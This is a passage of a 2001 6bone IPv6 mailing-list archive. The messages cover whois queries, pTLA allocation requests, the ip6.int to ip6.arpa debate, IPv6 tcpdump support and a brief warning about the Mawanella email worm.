lines, which invies us to ping remote network. >application: ping sh1.iijlab.net are there a good way to query all the entries on 6bone whois database? if i can collect all the application lines, i can automate the process... itojun From rcuetara@coqui.net Fri May 18 12:15:03 2001 From: rcuetara@coqui.net (rcuetara@coqui.net) Date: Fri, 18 May 2001 11:15:03 Subject: Mawanella In-Reply-To: <002f01c0df4f$866a55a0$0407080a@future.futsoft.com> Message-ID: <3.0.6.32.20010518111503.0097b110@pop.coqui.net> This is fast, according to Symantec this worm was discovered yesterday, and it hit the 6bone list today. I don't have to remind users of Outlook not to open the vbs attached to the original message claiming to be from vanitha@future.futsoft.com. -Ramon At 09:33 AM 5/18/2001 +0530, you wrote: > >Mawanella is one of the Sri Lanka's Muslim Village From johans@stack.nl Fri May 18 16:30:48 2001 From: johans@stack.nl (Johan van Selst) Date: Fri, 18 May 2001 17:30:48 +0200 Subject: whois: getting all "application" line In-Reply-To: <1191.990195602@itojun.org>; from itojun@iijlab.net on Fri, May 18, 2001 at 11:20:02PM +0900 References: <1191.990195602@itojun.org> Message-ID: <20010518173048.A32639@coyote.zwoel.org> itojun@iijlab.net wrote: > are there a good way to query all the entries on 6bone whois database? > if i can collect all the application lines, i can automate the > process... Check out ftp://whois.6bone.net/6bone/6bone.db.gz Ciao, Johan From Florent.Parent@viagenie.qc.ca Fri May 18 17:29:34 2001 From: Florent.Parent@viagenie.qc.ca (Florent Parent) Date: Fri, 18 May 2001 12:29:34 -0400 (EDT) Subject: whois: getting all "application" line In-Reply-To: <1191.990195602@itojun.org> Message-ID: How about fetching the entire whois data file and "greping" what you need ? The file format is ascii: ftp://whois.6bone.net/6bone/6bone.db.gz Florent On Fri, 18 May 2001 itojun@iijlab.net wrote: > hi, i'm thinking of configuring a box, which monitors IPv6 reachability > from my IPv6 network to other IPv6 networks. 6bone whois has > "appliation" lines, which invies us to ping remote network. > > >application: ping sh1.iijlab.net > > are there a good way to query all the entries on 6bone whois database? > if i can collect all the application lines, i can automate the > process... > > itojun > -- Florent Parent Viagénie inc. http://www.viagenie.qc.ca +1.418.656.9254 From horape@tinuviel.compendium.net.ar Fri May 18 17:44:58 2001 From: horape@tinuviel.compendium.net.ar (horape@tinuviel.compendium.net.ar) Date: Fri, 18 May 2001 13:44:58 -0300 Subject: whois: getting all "application" line In-Reply-To: <1191.990195602@itojun.org>; from itojun@iijlab.net on Fri, May 18, 2001 at 11:20:02PM +0900 References: <1191.990195602@itojun.org> Message-ID: <20010518134458.E15737@tinuviel.compendium.net.ar> rm 6bone.db.gz wget ftp://whois.6bone.net/6bone/6bone.db.gz zgrep application 6bone.db.gz | whatever you want to do On Fri, May 18, 2001 at 11:20:02PM +0900, itojun@iijlab.net wrote: > hi, i'm thinking of configuring a box, which monitors IPv6 reachability > from my IPv6 network to other IPv6 networks. 6bone whois has > "appliation" lines, which invies us to ping remote network. > > >application: ping sh1.iijlab.net > > are there a good way to query all the entries on 6bone whois database? > if i can collect all the application lines, i can automate the > process... > > itojun -- HoraPe --- Horacio J. Peña horape@compendium.com.ar horape@uninet.edu bofh@puntoar.net.ar horape@hcdn.gov.ar From itojun@iijlab.net Fri May 18 17:46:58 2001 From: itojun@iijlab.net (itojun@iijlab.net) Date: Sat, 19 May 2001 01:46:58 +0900 Subject: whois: getting all "application" line In-Reply-To: Florent.Parent's message of Fri, 18 May 2001 12:29:34 -0400. Message-ID: <2122.990204418@itojun.org> >How about fetching the entire whois data file and "greping" what you need >? The file format is ascii: >ftp://whois.6bone.net/6bone/6bone.db.gz oh, good to know, thanks! itojun From pekkas@netcore.fi Fri May 18 18:48:27 2001 From: pekkas@netcore.fi (Pekka Savola) Date: Fri, 18 May 2001 20:48:27 +0300 (EEST) Subject: whois: getting all "application" line In-Reply-To: <1191.990195602@itojun.org> Message-ID: On Fri, 18 May 2001 itojun@iijlab.net wrote: > hi, i'm thinking of configuring a box, which monitors IPv6 reachability > from my IPv6 network to other IPv6 networks. 6bone whois has > "appliation" lines, which invies us to ping remote network. > > >application: ping sh1.iijlab.net > > are there a good way to query all the entries on 6bone whois database? > if i can collect all the application lines, i can automate the > process... There is a gzipped database at ftp://whois.6bone.net/6bone/, updated once a day I think. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From Amit.Schnitzer@orange.co.il Tue May 22 13:47:27 2001 From: Amit.Schnitzer@orange.co.il (Amit Schnitzer) Date: Tue, 22 May 2001 14:47:27 +0200 Subject: Several begginers questions Message-ID: <968264FD6D32D4118EFC00805FC799B7016BFB73@orange.co.il> Hi, I'm trying to figure out how to connect my organization to the 6bone project. My problem is that I am located in Israel and as far as I understand no organization from Israel has yet filed a request to register as a pTLA. Does anybody know of such organization ? can you think of an alternative pTLA that we can connect to (who's the preferred from our point of view ?)? In addition, I am trying to figure out all the implications that might rise as a result of connecting to the 6bone project: Financial implications - equipment, manpower, registration fees and etc. Time implications - registration period, project participation period and etc. I'll be happy If you have any information regarding the above. Thanks in advance, Amit Schnitzer Network and Security team Partner Communications Company Ltd. From fink@es.net Tue May 22 18:06:22 2001 From: fink@es.net (Bob Fink) Date: Tue, 22 May 2001 10:06:22 -0700 Subject: 6bone pTLA 3FFE:81F0::/28 allocated to CYBERNET Message-ID: <5.0.2.1.0.20010522100225.02584bb0@imap2.es.net> CYBERNET has been allocated pTLA 3FFE:81F0::/28 having finished its 2-week review period. Note that it will take a short while for their pTLA inet6num entry to appear in the 6bone registry as they have to create it themselves. However, their registration is listed on: Thanks, Bob From fink@es.net Tue May 22 18:06:28 2001 From: fink@es.net (Bob Fink) Date: Tue, 22 May 2001 10:06:28 -0700 Subject: 6bone pTLA 3FFE:8200::/28 allocated to FBDC Message-ID: <5.0.2.1.0.20010522100411.0a1d8440@imap2.es.net> FBDC has been allocated pTLA 3FFE:8200::/28 having finished its 2-week review period. Note that it will take a short while for their pTLA inet6num entry to appear in the 6bone registry as they have to create it themselves. However, their registration is listed on: Thanks, Bob From psb@ast.cam.ac.uk Wed May 23 12:17:04 2001 From: psb@ast.cam.ac.uk (Peter Bunclark) Date: Wed, 23 May 2001 12:17:04 +0100 (BST) Subject: ip6.arpa In-Reply-To: <3564.988966877@brandenburg.cs.mu.OZ.AU> Message-ID: Thanks to everyone who contributed quite a bit of interesting and enlightening discussion to the original query. But I'm not sure we actually got to finding out where the buck has stopped. There must be someone somewhere who is not getting on with what needs to be done, and I for one would like to lobby them... Peter. From bmanning@ISI.EDU Wed May 23 15:50:43 2001 From: bmanning@ISI.EDU (Bill Manning) Date: Wed, 23 May 2001 07:50:43 -0700 (PDT) Subject: ip6.arpa In-Reply-To: from "Peter Bunclark" at May 23, 2001 12:17:04 PM Message-ID: <200105231450.f4NEohw06710@zed.isi.edu> % % Thanks to everyone who contributed quite a bit of interesting and % enlightening discussion to the original query. % % But I'm not sure we actually got to finding out where the buck has % stopped. There must be someone somewhere who is not getting on with % what needs to be done, and I for one would like to lobby them... % % Peter. The move has no technological basis. The RR type that suggested the migration is itself under review. Why the rush? --bill From kre@munnari.OZ.AU Wed May 23 15:52:00 2001 From: kre@munnari.OZ.AU (Robert Elz) Date: Wed, 23 May 2001 21:52:00 +0700 Subject: ip6.arpa In-Reply-To: References: Message-ID: <3471.990629520@brandenburg.cs.mu.OZ.AU> Date: Wed, 23 May 2001 12:17:04 +0100 (BST) From: Peter Bunclark Message-ID: | But I'm not sure we actually got to finding out where the buck has | stopped. There must be someone somewhere who is not getting on with | what needs to be done, and I for one would like to lobby them... The latest IAB "management of the .arpa domain" draft says that it is the IAB's responsibility - and expressly says that ip6.arpa exists (or should). So... See draft-iab-arpa-02.txt kre From psb@ast.cam.ac.uk Wed May 23 16:19:18 2001 From: psb@ast.cam.ac.uk (Peter Bunclark) Date: Wed, 23 May 2001 16:19:18 +0100 (BST) Subject: ip6.arpa In-Reply-To: <200105231450.f4NEohw06710@zed.isi.edu> Message-ID: On Wed, 23 May 2001, Bill Manning wrote: > % > % Thanks to everyone who contributed quite a bit of interesting and > % enlightening discussion to the original query. > % > % But I'm not sure we actually got to finding out where the buck has > % stopped. There must be someone somewhere who is not getting on with > % what needs to be done, and I for one would like to lobby them... > % > % Peter. > > The move has no technological basis. The RR type that > suggested the migration is itself under review. Why > the rush? > > --bill > I refer you to the discussion on this mailing list previously which covered these points. I'd point out that there's considerable anti-IPv6 feeling out there - some of it expressed on the tcp/ip newsgroup over the last day. Having IPv6 documentation which conflicts with reality is terribly counter productive and will harm the take up and credibility of IPv6. Pete. From crawdad@fnal.gov Wed May 23 17:18:10 2001 From: crawdad@fnal.gov (Matt Crawford) Date: Wed, 23 May 2001 11:18:10 -0500 Subject: ip6.arpa In-Reply-To: Your message of Wed, 23 May 2001 16:19:18 BST. Message-ID: <200105231618.LAA09571@gungnir.fnal.gov> > > The move has no technological basis. The RR type that > > suggested the migration is itself under review. Why > > the rush? It was not any RR type that suggested the migration from ip6.int to ip6.arpa, Bill. Were you under some other impression? From bmanning@ISI.EDU Wed May 23 17:39:17 2001 From: bmanning@ISI.EDU (Bill Manning) Date: Wed, 23 May 2001 09:39:17 -0700 (PDT) Subject: ip6.arpa In-Reply-To: <200105231618.LAA09571@gungnir.fnal.gov> from "Matt Crawford" at May 23, 2001 11:18:10 AM Message-ID: <200105231639.f4NGdHB07045@zed.isi.edu> % % > > The move has no technological basis. The RR type that % > > suggested the migration is itself under review. Why % > > the rush? % % It was not any RR type that suggested the migration from ip6.int to % ip6.arpa, Bill. Were you under some other impression? Yes. -- --bill From hansolofalcon@worldnet.att.net Wed May 23 18:26:46 2001 From: hansolofalcon@worldnet.att.net (Gregg C Levine) Date: Wed, 23 May 2001 13:26:46 -0400 Subject: Patching tcpdump for IPv6 packets Message-ID: Hello from Gregg C Levine normally with Jedi Knight Computers Can someone please describe the process involved with patching tcpdump for processing IPv6 packets? I seem to recall that the program came preconfigured to manage all of the currently used Internet protocols, except IPv6. For clarification, this is running on a Slackware 7.2 distribution. ------------------- Gregg C Levine mailto:hansolofalcon@att.net ------------------------------------------------------------ "The Force will be with you...Always." Obi-Wan Kenobi "Use the Force, Luke." Obi-Wan Kenobi (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps one of the most powerful of all of the Jedi Knights)) (This company dedicates this E-Mail to Master Yoda (Perhaps the other one of the most powerful of all of the Jedi Knights)) And the favorite line by Anonymous "May the Force be with you." From pekkas@netcore.fi Wed May 23 22:19:53 2001 From: pekkas@netcore.fi (Pekka Savola) Date: Thu, 24 May 2001 00:19:53 +0300 (EEST) Subject: Patching tcpdump for IPv6 packets In-Reply-To: Message-ID: On Wed, 23 May 2001, Gregg C Levine wrote: > Hello from Gregg C Levine normally with Jedi Knight Computers > Can someone please describe the process involved with patching tcpdump > for processing IPv6 packets? I seem to recall that the program came > preconfigured to manage all of the currently used Internet protocols, > except IPv6. For clarification, this is running on a Slackware 7.2 > distribution. Get tcpdump 3.6.2 from www.tcpdump.org, it can do IPv6 just fine. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From peljo105@student.liu.se Thu May 24 00:42:16 2001 From: peljo105@student.liu.se (Pelle Johansson) Date: Thu, 24 May 2001 01:42:16 +0200 Subject: Patching tcpdump for IPv6 packets In-Reply-To: Message-ID: <0GDT00C7SB6HV2@elysium.student.liu.se> On Wednesday, May 23, 2001, at 07:26 PM, Gregg C Levine wrote: > Hello from Gregg C Levine normally with Jedi Knight Computers > Can someone please describe the process involved with patching tcpdump > for processing IPv6 packets? I seem to recall that the program came > preconfigured to manage all of the currently used Internet protocols, > except IPv6. For clarification, this is running on a Slackware 7.2 > distribution. libpcap and tcpdump with ipv6 support are available at: ftp://ftp.inria.fr/network/ipv6/libpcap-0.4+.tar.gz ftp://ftp.inria.fr/network/ipv6/tcpdump-3.4+.tar.gz You'll need the first to compile the second (don't forget to do make install-incl in pcap). -- Pelle Johansson From kre@munnari.OZ.AU Thu May 24 09:43:01 2001 From: kre@munnari.OZ.AU (Robert Elz) Date: Thu, 24 May 2001 15:43:01 +0700 Subject: ip6.arpa In-Reply-To: <200105231639.f4NGdHB07045@zed.isi.edu> References: <200105231639.f4NGdHB07045@zed.isi.edu> Message-ID: <1684.990693781@brandenburg.cs.mu.OZ.AU> Date: Wed, 23 May 2001 09:39:17 -0700 (PDT) From: Bill Manning Message-ID: <200105231639.f4NGdHB07045@zed.isi.edu> | % It was not any RR type that suggested the migration from ip6.int to | % ip6.arpa, Bill. Were you under some other impression? | | Yes. Then you're mistaken. It was the IAB/IESG that wanted this change. Even if we keep to PTR records, they will want to move them to ip6.arpa The only reason that didn't happen (yet) was the impression that moving them might be a waste of time, because they are (according to the current plan anyway) to be phased out (for IPv6 reverse resolution). If that turns out not to happen, then the PTR records will move too. The use of .INT as a place to "stick stuff" is deprecated. That's .arpa now after all, the "Address and Routing Parameter Area" domain.. kre From Roberto.Recchia@CSP.it Thu May 24 12:15:49 2001 From: Roberto.Recchia@CSP.it (Roberto Recchia) Date: Thu, 24 May 2001 13:15:49 +0200 Subject: remove Message-ID: <3B0CED65.2833677A@csp.it> remove -- Roberto RECCHIA Telecommunication Services CSP s.c. a r.l. _______________________________________________ Via Livorno, 60 - 10144 Torino [IT] Roberto.Recchia@csp.it Tel. +39 011 316 5112 - Mobile +39 (0)348 6024505 Fax +39 011 316 8322 _______________________________________________ From F.J.Silva@inter.NL.net Fri May 25 00:31:05 2001 From: F.J.Silva@inter.NL.net (UUNet Connection) Date: Thu, 24 May 2001 16:31:05 -0700 Subject: No subject Message-ID: <000001c0e606$6e685f20$ae9674d5@parents> This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C0E46E.EE4AF840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable remove ------=_NextPart_000_0008_01C0E46E.EE4AF840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
remove
------=_NextPart_000_0008_01C0E46E.EE4AF840-- From gcampos@campus.cem.itesm.mx Sat May 26 19:16:53 2001 From: gcampos@campus.cem.itesm.mx (M. en C. Gabriela Campos) Date: Sat, 26 May 2001 13:16:53 -0500 Subject: (no subject) Message-ID: <3B0FF315.107BA72C@campus.cem.itesm.mx> This is a multi-part message in MIME format. --------------CD2F1C82D822C9C0ECB72A79 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit remove --------------CD2F1C82D822C9C0ECB72A79 Content-Type: text/x-vcard; charset=us-ascii; name="gcampos.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for M. en C. Gabriela Campos Content-Disposition: attachment; filename="gcampos.vcf" begin:vcard n:Campos;Gabriela tel;fax:(52) 5864-5651 tel;work:(52) 5864-5672 x-mozilla-html:FALSE org:ITESM Campus Estado de México;Sistemas de Información version:2.1 email;internet:gcampos@campus.cem.itesm.mx adr;quoted-printable:;;Carr. Lago de Guadalupe km 3.5,=0D=0AMargarita Maza de Ju=E1rez,=0D=0AAtizap=E1n, Edo. de M=E9xico=0D=0A;;;52926; fn:M. en C. Gabriela Campos end:vcard --------------CD2F1C82D822C9C0ECB72A79-- From fink@es.net Sat May 26 18:46:32 2001 From: fink@es.net (Bob Fink) Date: Sat, 26 May 2001 10:46:32 -0700 Subject: pTLA request for DREN (www.v6.dren.net) - review closes 9 June 2001 Message-ID: <5.0.2.1.0.20010526103615.02b1de18@imap2.es.net> 6bone Folk, DREN (the Defense Research and Engineering Network) (www.v6.dren.net) has requested a pTLA allocation. This is a slightly different situation in that DREN has established their peerings using a 6to4 peering, though otherwise they are normal BGP4+ peerings. I asked Ron Broersma of DREN to explain a little bit about this and about DREN in addition to their application. I've included this below. The open review period for this will close 9 June 2001. Please send your comments to me or the list. Thanks, Bob === >Date: Fri, 25 May 2001 09:02:58 -0700 >From: "Ron Broersma" >To: Bob Fink >Subject: Re: pTLA request for DREN > >Bob, > >In response to your questions. > >DREN is the Defense Research and Engineering Network. It is the network that >provides network services and connectivity to the DoD research and engineering >communities, including 70 large DoD installations, and also services various >consortium networks and other federal network communities. DREN operates >a native >IPv6 network as one of its services. > >DREN is using a 6to4 prefix because this allowed us to not only test the 6to4 >mechanisms on a wide area network, but also allowed the network to be >immediately >operational when it was initially installed, while waiting for a more >permanent >address allocation. We still established BGP4+ peering sessions with >other ISPs >either natively or via tunnels over IPv4, receive full routing from multiple >sources, operate default-free, run a full-mesh I-BGP internally, and >announce our >prefix to the E-BGP peers for distribution within their own AS. The only >negative >is the non-optimal routing on the return path for nets you don't peer with >directly, but that's OK for a temporary solution. > >--Ron > > At 12:35 AM 5/24/2001 -0700, Ron Broersma wrote: > > > 1. The pTLA Applicant must have a minimum of three (3) months > > > qualifying experience as a 6Bone end-site or pNLA transit. During > > > > > > the entire qualifying period the Applicant must be operationally > > > providing the following: > > > > > > This pTLA request is for a new backbone that went operational > > > in February. > > > > > > a. Fully maintained, up to date, 6Bone Registry entries for their > > > ipv6-site inet6num, mntner, and person objects, including each > > > tunnel that the Applicant has. > > > > > > ipv6-site: DREN > > > inet6num: 2002:8031:C003::/48 > > > mntner: MNT-DREN > > > persons - RLB1-6BONE, TGK7, RAM1-6BONE > > > tunnels are registered in ipv6-site object. > > > > > > b. Fully maintained, and reliable, BGP4+ peering and connectivity > > > between the Applicant's boundary router and the appropriate > > > connection point into the 6Bone. This router must be IPv6 > > > pingable. This criteria is judged by members of the 6Bone > > > Operations Group at the time of the Applicant's pTLA request. > > > > > > Example: nrl-dc.v6.dren.net -> sl-bb1-6bone.sprintlink.net > > > This router: 3FFE:2900:B:8::2 > > > > > > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int) > > > entries for the Applicant's router(s) and at least one host > > > system. > > > > > > All routers (including every IPv6 interface) are registered in > > > both directions. Examples for verification: > > > router: sscsd.v6.dren.net > > > host: www.v6.dren.net > > > > > > d. A fully maintained, and reliable, IPv6-accessible system > > > providing, at a mimimum, one or more web pages, describing the > > > Applicant's IPv6 services. This server must be IPv6 pingable. > > > > > > www.v6.dren.net > > > > > > 2. The pTLA Applicant MUST have the ability and intent to provide > > > "production-quality" 6Bone backbone service. Applicants must > > > provide a statement and information in support of this claim. > > > This MUST include the following: > > > > > > a. A support staff of two persons minimum, three preferable, with > > > person attributes registered for each in the ipv6-site object > > > for the pTLA applicant. > > > > > > RLB1-6BONE > > > TGK7 > > > RAM1-6BONE > > > > > > b. A common mailbox for support contact purposes that all support > > > staff have acess to, pointed to with a notify attribute in the > > > ipv6-site object for the pTLA Applicant. > > > > > > noc@v6.dren.net > > > > > > 3. The pTLA Applicant MUST have a potential "user community" that > > > would be served by its becoming a pTLA, e.g., the Applicant is a > > > major provider of Internet service in a region, country, or focus > > > of interest. Applicant must provide a statement and information in > > > > > > support this claim. > > > > > > DREN is already an established ISP for the DoD research community. > > > > > > The pTLA would service this community, as well as other existing > > > subscribers. > > > > > > 4. The pTLA Applicant MUST commit to abide by the current 6Bone > > > operational rules and policies as they exist at time of its > > > application, and agree to abide by future 6Bone backbone > > > operational rules and policies as they evolve by consensus of the > > > 6Bone backbone and user community. > > > > > > Concur. -end From fink@es.net Sat May 26 18:53:05 2001 From: fink@es.net (Bob Fink) Date: Sat, 26 May 2001 10:53:05 -0700 Subject: pTLA request for INTEC (www.v6.intec.co.jp) - review closes 9 June 2001 Message-ID: <5.0.2.1.0.20010526104710.02acdb20@imap2.es.net> 6bone Folk, INTEC (www.v6.intec.co.jp) has requested a pTLA allocation. The open review period for this will close 9 June 2001. Please send your comments to me or the list. Thanks, Bob === >From: Tomohiko Kusuda >Subject: pTLA request >To: fink@es.net >Cc: info@v6.intec.co.jp >Date: Thu, 24 May 2001 16:44:41 +0900 > >Dear Bob, > >We want to provide IPv6 connectivity to regional users. >Please allocate us 6Bone pTLA addresses. > >7. Guidelines for 6Bone pTLA sites > > The following rules apply to qualify for a 6Bone pTLA allocation. It > should be recognized that holders of 6Bone pTLA allocations are > expected to provide production quality backbone network services for > the 6Bone. > > 1. The pTLA Applicant must have a minimum of three (3) months > qualifying experience as a 6Bone end-site or pNLA transit. During > the entire qualifying period the Applicant must be operationally > providing the following: > >We have experimented with IPv6 as 6Bone pNLA since 1998. > > a. Fully maintained, up to date, 6Bone Registry entries for their > ipv6-site inet6num, mntner, and person objects, including each > tunnel that the Applicant has. > >inet6num: 3FFE:1800:2040::/48 >netname: INTEC >descr: SLA delegation for the NTT-ECL >country: JP >admin-c: NO2-6BONE >tech-c: NO2-6BONE >remarks: This object is automatically converted from the RIPE181 registry >mnt-by: NTT-ECL-MNT >changed: nin@slab.ntt.co.jp 19990825 >changed: auto-dbm@whois.6bone.net 20010117 >source: 6BONE > >ipv6-site: INTEC >origin: AS9612 >descr: INTEC >country: JP >prefix: 3FFE:508::/32 >prefix: 3FFE:1CFA::/32 >prefix: 3FFE:1800:2040::/48 >application: ping knight.v6.intec.co.jp >application: http www.v6.intec.co.jp >contact: TK4-6BONE >contact: YK60-AP >notify: info@v6.intec.co.jp >mnt-by: MAINT-JP-INTEC >changed: kusuda@isl.intec.co.jp 20010507 >changed: kusuda@isl.intec.co.jp 20010522 >changed: kusuda@isl.intec.co.jp 20010524 >source: 6BONE > > b. Fully maintained, and reliable, BGP4+ peering and connectivity > between the Applicant's boundary router and the appropriate > connection point into the 6Bone. This router must be IPv6 > pingable. This criteria is judged by members of the 6Bone > Operations Group at the time of the Applicant's pTLA request. > >Our router(knight.v6.intec.co.jp) connect natively with >pc6.otemachi.wide.ad.jp >using BGP4+ at NSPIXP6. > > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int) > entries for the Applicant's router(s) and at least one host > system. > >Our name server is pawn.v6.intec.co.jp. > ># host -t aaaa pawn.v6.intec.co.jp pawn.v6.intec.co.jp >Using domain server: >Name: pawn.v6.intec.co.jp >Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53 >Aliases: > >pawn.v6.intec.co.jp. has AAAA address 2001:200:500:1800:200:f8ff:fe01:6ab8 > ># host -n 2001:200:500:1800:200:f8ff:fe01:6ab8 pawn.v6.intec.co.jp >Using domain server: >Name: pawn.v6.intec.co.jp >Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53 >Aliases: > >8.b.a.6.1.0.e.f.f.f.8.f.0.0.2.0.0.0.8.1.0.0.5.0.0.0.2.0.1.0.0.2.ip6.int. >domain name pointer pawn.v6.intec.co.jp. > ># host -t aaaa knight.v6.intec.co.jp pawn.v6.intec.co.jp >Using domain server: >Name: pawn.v6.intec.co.jp >Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53 >Aliases: > >knight.v6.intec.co.jp. has AAAA address 2001:200:500:1800:2a0:c9ff:fea6:7add > ># host -n 2001:200:500:1800:2a0:c9ff:fea6:7add pawn.v6.intec.co.jp >Using domain server: >Name: pawn.v6.intec.co.jp >Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53 >Aliases: > >d.d.a.7.6.a.e.f.f.f.9.c.0.a.2.0.0.0.8.1.0.0.5.0.0.0.2.0.1.0.0.2.ip6.int. >domain name pointer knight.v6.intec.co.jp. > > > d. A fully maintained, and reliable, IPv6-accessible system > providing, at a mimimum, one or more web pages, describing the > Applicant's IPv6 services. This server must be IPv6 pingable. > >http://www.v6.intec.co.jp > > 2. The pTLA Applicant MUST have the ability and intent to provide > "production-quality" 6Bone backbone service. Applicants must > provide a statement and information in support of this claim. > This MUST include the following: > > a. A support staff of two persons minimum, three preferable, with > person attributes registered for each in the ipv6-site object > for the pTLA applicant. > >contact: TK4-6BONE >contact: YK60-AP > > b. A common mailbox for support contact purposes that all support > staff have acess to, pointed to with a notify attribute in the > ipv6-site object for the pTLA Applicant. > >notify: info@v6.intec.co.jp > > > 3. The pTLA Applicant MUST have a potential "user community" that > would be served by its becoming a pTLA, e.g., the Applicant is a > major provider of Internet service in a region, country, or focus > of interest. Applicant must provide a statement and information in > support this claim. > >We provide IPv6 connectibity to users in regional area Toyama, >Japan. Both individual and organization customers are already >using our network to access 6bone or other IPv6 resources. > > 4. The pTLA Applicant MUST commit to abide by the current 6Bone > operational rules and policies as they exist at time of its > application, and agree to abide by future 6Bone backbone > operational rules and policies as they evolve by consensus of the > 6Bone backbone and user community. > >Yes, We commit and agree. > >-------- >Tomohiko Kusuda(kusuda@isl.intec.co.jp) >INTEC Web and Genome Informatics Corporation -end From marcelo@it.uc3m.es Mon May 28 20:03:02 2001 From: marcelo@it.uc3m.es (marcelo) Date: Mon, 28 May 2001 21:03:02 +0200 Subject: Packet Generators In-Reply-To: <032301c0d891$22cd6ec0$0e6648c2@uk.lucent.com> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C0E7B9.94FE1760 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Hi, At Universidad Carlos 3, in LONG project framework, we have migrated MGEN application to IPv6 so it can generate and receive all kind of IPv6 packets (including Hop by Hop options, routing header and destination options). You can find the application at http://www.it.uc3m.es/~alberto/mgen6/ More information about our project can be found at http://long.ccaba.upc.es/. We hope you find it usefull, and if you need further information please contact us. marcelo PS: sorry about the delay but we were considering license issues -----Mensaje original----- De: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]En nombre de John M Cole Enviado el: miércoles, 09 de mayo de 2001 16:06 Para: 6bone@ISI.EDU Asunto: Packet Generators Apart from Agilent, who haven't yet released a V6 version, does anyone know of a Packet generator and receiver test suite, for IPv6? I am looking at testing some hardware/software (Routers) and require statistics on IP traffic. Regards John ------=_NextPart_000_000D_01C0E7B9.94FE1760 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
At=20 Universidad Carlos 3, in LONG project framework, we have migrated MGEN=20 application to IPv6 so it can generate and receive all kind of IPv6 = packets=20 (including Hop by Hop options, routing header and destination=20 options).
You=20 can find the application at http://www.it.uc3m.es/~alb= erto/mgen6/=20
More=20 information about our project can be found at http://long.ccaba.upc.es/.<= /FONT>
We=20 hope you find it usefull, and if you need further information please = contact=20 us.
 
marcelo
 
PS:=20 sorry about the delay but we were considering license = issues
-----Mensaje original-----
De: owner-6bone@ISI.EDU=20 [mailto:owner-6bone@ISI.EDU]En nombre de John M = Cole
Enviado=20 el: mi=E9rcoles, 09 de mayo de 2001 16:06
Para:=20 6bone@ISI.EDU
Asunto: Packet Generators

Apart from Agilent, who haven't yet = released a V6=20 version, does anyone know of a Packet generator and receiver test = suite,=20 for IPv6?  I am looking at testing some hardware/software = (Routers) and=20 require statistics on IP traffic.
 
Regards
 
John
------=_NextPart_000_000D_01C0E7B9.94FE1760-- From itojun@iijlab.net Tue May 29 06:22:16 2001 From: itojun@iijlab.net (itojun@iijlab.net) Date: Tue, 29 May 2001 14:22:16 +0900 Subject: whois: getting all "application" line In-Reply-To: itojun's message of Fri, 18 May 2001 23:20:02 +0900. <1191.990195602@itojun.org> Message-ID: <8893.991113736@itojun.org> > hi, i'm thinking of configuring a box, which monitors IPv6 reachability > from my IPv6 network to other IPv6 networks. 6bone whois has > "appliation" lines, which invies us to ping remote network. > >>application: ping sh1.iijlab.net are there anyone maintain such list for sTLAs? i queried APNIC registry and it seems that these "application" lines are not a requiremnt (or not a common practice). or if someone could suggest a good tool/existing webpage, it would be very nice. thanks. itojun From gcampos@campus.cem.itesm.mx Tue May 29 17:09:39 2001 From: gcampos@campus.cem.itesm.mx (M. en C. Gabriela Campos) Date: Tue, 29 May 2001 11:09:39 -0500 Subject: (no subject) Message-ID: <3B13C9C3.412E4E18@campus.cem.itesm.mx> This is a multi-part message in MIME format. --------------D66E86837B14FB5FC5472BBE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit unsubscribe --------------D66E86837B14FB5FC5472BBE Content-Type: text/x-vcard; charset=us-ascii; name="gcampos.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for M. en C. Gabriela Campos Content-Disposition: attachment; filename="gcampos.vcf" begin:vcard n:Campos;Gabriela tel;fax:(52) 5864-5651 tel;work:(52) 5864-5672 x-mozilla-html:FALSE org:ITESM Campus Estado de México;Sistemas de Información version:2.1 email;internet:gcampos@campus.cem.itesm.mx adr;quoted-printable:;;Carr. Lago de Guadalupe km 3.5,=0D=0AMargarita Maza de Ju=E1rez,=0D=0AAtizap=E1n, Edo. de M=E9xico=0D=0A;;;52926; fn:M. en C. Gabriela Campos end:vcard --------------D66E86837B14FB5FC5472BBE-- From grn@ispras.ru Wed May 30 10:54:36 2001 From: grn@ispras.ru (Grigory Kljuchnikov) Date: Wed, 30 May 2001 13:54:36 +0400 (MSK) Subject: Packet Generators In-Reply-To: Message-ID: On Mon, 28 May 2001, marcelo wrote: > Hi, > At Universidad Carlos 3, in LONG project framework, we have migrated MGEN > application to IPv6 so it can generate and receive all kind of IPv6 packets > (including Hop by Hop options, routing header and destination options). > You can find the application at http://www.it.uc3m.es/~alberto/mgen6/ > More information about our project can be found at > http://long.ccaba.upc.es/. > We hope you find it usefull, and if you need further information please > contact us. > > marcelo > Hello, I've tried to make mgen6 on FreeBSD 4.1 and have errors: $ make gcc -O -D_FREEBSD -g -D_GUI -IFreeBSD/X11R6/LessTif/Motif2.0/include -I/usr/X11R6/include -c mgen.c mgen.c: In function `SendOptionHeader': mgen.c:122: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:122: (Each undeclared identifier is reported only once mgen.c:122: for each function it appears in.) mgen.c:125: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c: In function `InsertExtensionHeader': mgen.c:1071: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function) mgen.c:1077: `IP6_ALERT_AN' undeclared (first use in this function) mgen.c:1116: `IP6OPT_HOME_ADDRESS' undeclared (first use in this 